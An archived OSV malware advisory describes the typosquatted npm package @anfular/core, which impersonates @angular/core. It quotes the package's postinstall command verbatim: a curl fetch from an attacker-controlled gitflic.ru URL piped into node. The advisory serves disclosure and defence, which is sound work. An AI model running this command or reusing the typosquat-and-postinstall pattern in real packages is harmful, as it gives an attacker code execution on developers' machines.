Malicious code in @anfular/core (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-17533
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (eefc706854c122c96c898da5d4db285f26e31430f25451e5d1073a31db5e5341) Package @anfular/[email protected] is a one-character typosquat of @angular/core, with manifest fields impersonating the official Angular package (scope @anfular, description 'Angular - the core framework', author 'angular', repository pointing at github.com/angular/angular). The package.json postinstall script runs 'curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node', downloading an unpinned JavaScript payload from an attacker-controlled gitflic.ru URL (fronted by a web.archive.org wrapper) and piping it directly into node for execution on the installer's machine at npm install time. The fetched code is unverified, unpinned, hosted off any official registry or publisher-matched domain, and executed with the installer's privileges, giving the author arbitrary code execution on every machine that installs the package.
- Source published
- 5 Oct 2026 03:31:11 UTC
- Source modified
- 5 Oct 2026 04:15:04 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.